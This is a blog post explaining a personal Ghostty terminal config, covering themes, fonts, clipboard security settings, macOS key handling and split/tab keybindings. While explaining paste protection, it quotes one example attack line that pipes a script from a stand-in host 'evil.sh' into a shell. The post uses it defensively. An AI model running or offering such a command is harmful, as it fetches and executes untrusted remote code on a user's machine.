I have switched terminals roughly once every eighteen months since college. Terminal.app, iTerm2, Alacritty, back to iTerm2, Kitty for a confusing month. Each switch came with the same ritual: two evenings of config tweaking, one screenshot posted somewhere, and then three months of never opening the config file again.
Ghostty is where I stopped. Not because it's revolutionary — it renders text in a box, same as the others — but because the config is a single flat file of key = value lines, it starts fast enough that I stopped noticing it starting, and it does splits natively so I could finally delete tmux from my life. That last one is the actual headline.
Here's my config, section by section, with the reasoning. The whole thing lives at ~/.config/ghostty/config on macOS and Linux both.
Visuals, or: making the box pleasant
theme = Banana Blueberry
font-family = "JetBrains Mono"
font-size = 13
font-feature = +liga
font-feature = +calt
background-opacity = 0.85
background-blur = true
window-padding-x = 12
window-padding-y = 12Ghostty ships with a few hundred built-in themes, so you don't need to paste hex codes into your config like it's 2019. Run ghostty +list-themes to browse them in a live preview. Banana Blueberry is a purple-leaning dark theme that makes Go compiler errors feel slightly less accusatory.
The theme name is case-sensitive and space-sensitive — it has to match the listed name exactly. I spent an embarrassing amount of time wondering why banana-blueberry silently did nothing before I ran ghostty +validate-config, which would have told me immediately. Learn from my afternoon.
The two font-feature lines turn on ligatures and contextual alternates, which is how != and <- render as single glyphs. If you write Go, <- as one arrow is a small daily joy. If you hate ligatures — a legitimate position, they make character counting harder in a diff — set both to -liga and -calt instead.
On transparency: 0.85 is my compromise between “looks nice in a screenshot” and “I can still read a stack trace with a browser behind it.” The blur does the heavy lifting there — without it, 0.85 opacity over a busy background is genuinely unreadable. Below about 0.8, you're configuring an aesthetic, not a terminal.
Clipboard, or: the paranoid section
clipboard-read = ask
clipboard-write = allow
clipboard-paste-protection = true
copy-on-select = trueThis is the part of the config I'd actually argue about. Terminals support escape sequences that let a program running inside them read your system clipboard. That's occasionally useful and mostly alarming: anything that can print bytes to your terminal — acurl of someone else's script, a log line from a service you don't control, output from a container you just pulled — can attempt it.
Setting clipboard-read = ask means you get a prompt instead of a silent exfiltration of whatever password manager entry you copied four minutes ago. Writing is set to allow because a surprising number of legitimate CLI tools copy things for you and prompting on every write gets old within a day.
clipboard-paste-protection is the one everyone should turn on regardless of the rest of this post. If you paste something containing a newline, Ghostty shows you the full text and asks first. The classic attack is a webpage where the “copy” button hands you sudo apt install foo\ncurl evil.sh | sh\n — the trailing newline executes it before your eyes have finished reading. I played CTFs for a few years, which mostly taught me that the interesting exploits are boring ones like this.
copy-on-select is not a security setting, it's a quality-of-life one: highlight text, it's on your clipboard. No Cmd+C. It costs you the ability to keep something in your clipboard while also selecting text, which trips me up maybe once a month, against dozens of saved keystrokes a day.
One macOS line that fixes everything
macos-option-as-alt = trueOn macOS, Option is a dead key in most terminals by default — it produces special characters instead of the Alt/Meta modifier that every shell on earth expects. Which means Alt+Left and Alt+Right don't jump between words, so you hold the arrow key and watch the cursor crawl through your kubectl command like it's 1987.
This one line fixes word-jumping, Alt+Backspace to delete a word, and every other readline binding you've been quietly living without. The tradeoff is you lose Option-based special characters — typing é or an em dash directly. I type more shell than French, so this was not a difficult call.
Splits, or: how I deleted tmux
# Split management
keybind = super+d=new_split:right
keybind = super+shift+d=new_split:down
keybind = super+w=close_surface
keybind = super+z=toggle_split_zoom
keybind = super+e=equalize_splits
# Split navigation, vim-style
keybind = alt+h=goto_split:left
keybind = alt+j=goto_split:bottom
keybind = alt+k=goto_split:top
keybind = alt+l=goto_split:rightsuper is Cmd on macOS and the Windows key on Linux, so this block is portable across both without edits — which matters to me because my work machine is a Mac and everything I ship runs on Linux.
I ran tmux for four years, and about ninety percent of what I used it for was splitting a window into panes. The other ten percent was session persistence over SSH, which is genuinely irreplaceable and which I still use — on the remote box, where it belongs. Running tmux locally to get panes means paying for an entire terminal multiplexer, a prefix key, and a second layer of scrollback that fights with your real scrollback. Ghostty does the panes natively. So the local tmux went away.
The split layout follows the Cmd+D convention that Terminal.app and iTerm2 both use, so muscle memory transfers. Navigation is vim keys with Alt, deliberately not Cmd — I want moving between splits to feel like a different class of action from creating them, and Alt+hjkl is reachable without my hand leaving home row.
super+z is the one I'd fight to keep. It zooms the focused split to fill the window, and pressing it again restores the layout. The workflow is: four panes for context, then zoom into the one with the failing test to actually read it, then unzoom. It's tmux's prefix+z, minus the prefix.
One warning about super+w: it's bound to close_surface, which closes the focused split rather than the whole window. That's correct behavior, but it means Cmd+W does something different depending on whether you have splits open, which occasionally surprises me at the end of a long day.
Tabs and zoom
keybind = super+t=new_tab
keybind = super+shift+]=next_tab
keybind = super+shift+[=previous_tab
keybind = super+equal=increase_font_size:1
keybind = super+minus=decrease_font_size:1
keybind = super+0=reset_font_sizeNothing clever here on purpose. Tab bindings match every browser you've ever used, and font zoom matches every browser you've ever used. Config files are not the place to be original.
The font zoom earns its place in exactly one situation: screen sharing. 13px is comfortable on my display and completely illegible in a compressed video call, so Cmd+= three times at the start of a pairing session and Cmd+0 afterwards has saved me from a lot of “can you make that bigger?” That's the entire justification for three lines of config, and it's enough.
The whole thing
Copy this into ~/.config/ghostty/config, run ghostty +validate-config to catch typos, and reload with Cmd+Shift+,. No restart needed.
# --- Visuals ---
theme = Banana Blueberry
font-family = "JetBrains Mono"
font-size = 13
font-feature = +liga
font-feature = +calt
background-opacity = 0.85
background-blur = true
window-padding-x = 12
window-padding-y = 12
# --- Clipboard & security ---
clipboard-read = ask
clipboard-write = allow
clipboard-paste-protection = true
copy-on-select = true
# --- macOS ---
macos-option-as-alt = true
# --- Mouse ---
mouse-hide-while-typing = true
# --- Splits ---
keybind = super+d=new_split:right
keybind = super+shift+d=new_split:down
keybind = super+w=close_surface
keybind = super+z=toggle_split_zoom
keybind = super+e=equalize_splits
# --- Split navigation ---
keybind = alt+h=goto_split:left
keybind = alt+j=goto_split:bottom
keybind = alt+k=goto_split:top
keybind = alt+l=goto_split:right
# --- Tabs ---
keybind = super+t=new_tab
keybind = super+shift+]=next_tab
keybind = super+shift+[=previous_tab
# --- Font zoom ---
keybind = super+equal=increase_font_size:1
keybind = super+minus=decrease_font_size:1
keybind = super+0=reset_font_sizeI left mouse-hide-while-typing = true out of the walkthrough because there is nothing to say about it. The cursor disappears when you type. It should be the default everywhere.
What I'd change
Two things I'm still undecided on. The first is transparency — every few months I set background-opacity = 1.0, enjoy the clarity for a week, and then quietly put it back because the blurred version looks better and I am not immune to that.
The second is clipboard-read = ask. It is the correct setting and I recommend it, but I'll admit the prompt has never once fired for something malicious — only for tools I'd already decided to trust. There's a version of this where the security setting I'm proudest of is pure theater. I'm keeping it anyway. Cheap insurance, and I've read enough incident postmortems to know which way that bet goes.
If you have a Ghostty config with something I'm missing, send it to me. That's how I got half of this one.